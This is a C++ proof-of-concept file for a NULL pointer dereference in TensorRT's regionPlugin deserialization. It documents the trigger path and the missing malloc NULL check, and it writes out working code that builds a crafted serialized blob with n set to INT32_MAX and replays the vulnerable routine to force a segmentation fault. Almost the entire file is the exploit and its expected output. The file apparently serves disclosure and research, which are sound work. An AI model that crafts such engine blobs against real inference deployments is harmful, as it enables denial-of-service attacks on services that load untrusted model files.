/*
 * TensorRT regionPlugin NULL Pointer Dereference - Proof of Concept
 *
 * Vulnerability: NULL pointer dereference in Region plugin deserialization
 * CWE-476: NULL Pointer Dereference
 * CWE-789: Uncontrolled Memory Allocation
 *
 * Affected file : plugin/regionPlugin/regionPlugin.cpp
 * Affected lines: allocateChunk template (lines 38-42), deserialization
 *                 constructor (lines 93-227), loop at lines 152-168
 *
 * Root cause:
 *   allocateChunk<T>(ptr, count) calls malloc(count * sizeof(T)) with no NULL
 *   check on the return value. When `count` is an attacker-controlled value
 *   from the serialized engine buffer (smTreeTemp->n), a crafted value of
 *   INT32_MAX causes malloc(~8.5 GB) to fail and return NULL. The subsequent
 *   loop immediately dereferences ptr[0] at address 0x0 → SIGSEGV.
 *
 * Trigger path:
 *   tensorrt.Runtime.deserialize_cuda_engine(crafted_engine_bytes)
 *   → RegionPluginCreator::deserializePlugin()
 *   → Region::Region(buffer, length)           [regionPlugin.cpp:93]
 *   → allocateChunk(smTreeTemp->leaf, INT32_MAX) [regionPlugin.cpp:121]
 *   → malloc(0x1FFFFFFFC) fails → leaf = NULL
 *   → smTreeTemp->leaf[0] = read<int32_t>(d)   [regionPlugin.cpp:156]
 *   → NULL pointer dereference → SIGSEGV
 *
 * Compile (no CUDA required):
 *   g++ -std=c++17 -O0 -o poc_tensorrt poc_tensorrt.cpp
 *
 * Run:
 *   ./poc_tensorrt
 *
 * Expected output:
 *   [*] n = 2147483647 (0x7FFFFFFF)
 *   [*] malloc requested: 8589934588 bytes (8.0 GB)
 *   [*] leaf ptr after allocateChunk: 0x0  (NULL — malloc failed)
 *   [!] NULL pointer dereference in loop iteration 0 — expect SIGSEGV
 *   Segmentation fault (core dumped)
 */

#include <cstdlib>
#include <cstdint>
#include <cstring>
#include <cstdio>
#include <climits>

// ── Exact copy of allocateChunk from regionPlugin.cpp:38-42 ──────────────────
// BUG: no NULL check after malloc
template <typename T>
void allocateChunk(T*& ptr, int32_t count)
{
    ptr = static_cast<T*>(malloc(count * sizeof(T)));
    // Missing: if (ptr == nullptr) { throw / return error; }
}

// ── Deserialization read helper (identical to plugin/common) ─────────────────
template <typename T>
T read(char const*& d)
{
    T val;
    memcpy(&val, d, sizeof(T));
    d += sizeof(T);
    return val;
}

// ── softmaxTree (matches regionPlugin.h) ─────────────────────────────────────
struct softmaxTree {
    int32_t  n;
    int32_t  groups;
    int32_t* leaf;
    int32_t* parent;
    int32_t* child;
    int32_t* group;
    char**   name;
    int32_t* groupSize;
    int32_t* groupOffset;
};

// ── Build the malicious serialization buffer ──────────────────────────────────
//
// Binary layout mirrors Region::serialize() at regionPlugin.cpp:301-363:
//
//   Offset  Size  Field
//   0       4     C        (int32_t)
//   4       4     H        (int32_t)
//   8       4     W        (int32_t)
//   12      4     num      (int32_t)
//   16      4     classes  (int32_t)
//   20      4     coords   (int32_t)
//   24      1     softmaxTreePresent  (bool) ← set TRUE
//   25      1     leafPresent         (bool) ← set TRUE → triggers allocateChunk(leaf, n)
//   26      1     parentPresent       (bool)
//   27      1     childPresent        (bool)
//   28      1     groupPresent        (bool)
//   29      1     namePresent         (bool)
//   30      1     groupSizePresent    (bool)
//   31      1     groupOffsetPresent  (bool)
//   32      4     n = INT32_MAX       (int32_t) ← MALICIOUS VALUE
//
static size_t build_malicious_buffer(char* buf)
{
    char* d = buf;

    auto w32 = [&](int32_t v) { memcpy(d, &v, 4); d += 4; };
    auto wb  = [&](bool v)    { *d++ = v ? 1 : 0; };

    w32(1); w32(1); w32(1);   // C, H, W
    w32(1); w32(1); w32(1);   // num, classes, coords

    wb(true);   // softmaxTreePresent  — enters tree branch
    wb(true);   // leafPresent         — triggers allocateChunk(leaf, n) and loop write
    wb(false);  // parentPresent
    wb(false);  // childPresent
    wb(false);  // groupPresent
    wb(false);  // namePresent
    wb(false);  // groupSizePresent
    wb(false);  // groupOffsetPresent

    w32(INT32_MAX);  // n = 2,147,483,647 → malloc(8.5 GB) → fails → NULL

    return (size_t)(d - buf);
}

// ── Replicate Region::Region(buffer, length) — regionPlugin.cpp:93-227 ───────
static void trigger_deserialize(char const* buffer, size_t length)
{
    char const* d = buffer;

    /* C        = */ read<int32_t>(d);
    /* H        = */ read<int32_t>(d);
    /* W        = */ read<int32_t>(d);
    /* num      = */ read<int32_t>(d);
    /* classes  = */ read<int32_t>(d);
    /* coords   = */ read<int32_t>(d);

    bool softmaxTreePresent = read<bool>(d);
    bool leafPresent        = read<bool>(d);
    bool parentPresent      = read<bool>(d);
    bool childPresent       = read<bool>(d);
    bool groupPresent       = read<bool>(d);
    /* namePresent        = */ read<bool>(d);
    /* groupSizePresent   = */ read<bool>(d);
    /* groupOffsetPresent = */ read<bool>(d);

    if (softmaxTreePresent)
    {
        softmaxTree* smTreeTemp;
        allocateChunk(smTreeTemp, 1);          // allocates 1 struct — succeeds

        smTreeTemp->n = read<int32_t>(d);      // n = INT32_MAX (attacker-controlled)

        printf("[*] n = %d (0x%08X)\n",
               smTreeTemp->n, (uint32_t)smTreeTemp->n);
        printf("[*] malloc requested: %zu bytes (%.1f GB)\n",
               (size_t)smTreeTemp->n * sizeof(int32_t),
               (double)((size_t)smTreeTemp->n * sizeof(int32_t)) / (1 << 30));

        if (leafPresent)
        {
            // regionPlugin.cpp:121 — THE VULNERABLE CALL
            allocateChunk(smTreeTemp->leaf, smTreeTemp->n);
            printf("[*] leaf ptr after allocateChunk: %p\n", (void*)smTreeTemp->leaf);

            if (smTreeTemp->leaf == nullptr)
                printf("[!] malloc FAILED — leaf is NULL\n"
                       "[!] Entering loop — crash on first iteration...\n\n");
        }
        else smTreeTemp->leaf = nullptr;

        if (parentPresent)
            allocateChunk(smTreeTemp->parent, smTreeTemp->n);
        else smTreeTemp->parent = nullptr;

        if (childPresent)
            allocateChunk(smTreeTemp->child, smTreeTemp->n);
        else smTreeTemp->child = nullptr;

        if (groupPresent)
            allocateChunk(smTreeTemp->group, smTreeTemp->n);
        else smTreeTemp->group = nullptr;

        // regionPlugin.cpp:152-168 — CRASH HERE (i=0, leaf=NULL)
        for (int32_t i = 0; i < smTreeTemp->n; i++)
        {
            if (leafPresent)
                smTreeTemp->leaf[i] = read<int32_t>(d);   // NULL DEREF → SIGSEGV
            if (parentPresent)
                smTreeTemp->parent[i] = read<int32_t>(d);
            if (childPresent)
                smTreeTemp->child[i] = read<int32_t>(d);
            if (groupPresent)
                smTreeTemp->group[i] = read<int32_t>(d);
        }
    }
}

int main()
{
    setvbuf(stdout, nullptr, _IONBF, 0);   // unbuffered — survives crash

    printf("============================================================\n");
    printf(" TensorRT regionPlugin NULL Pointer Dereference PoC\n");
    printf(" CWE-476 | CWE-789 | plugin/regionPlugin/regionPlugin.cpp\n");
    printf("============================================================\n\n");

    char buffer[64] = {};
    size_t len = build_malicious_buffer(buffer);
    printf("[*] Crafted plugin blob: %zu bytes\n\n", len);

    trigger_deserialize(buffer, len);

    // Should never reach here
    printf("\n[-] ERROR: should have crashed — SIGSEGV not triggered\n");
    return 1;
}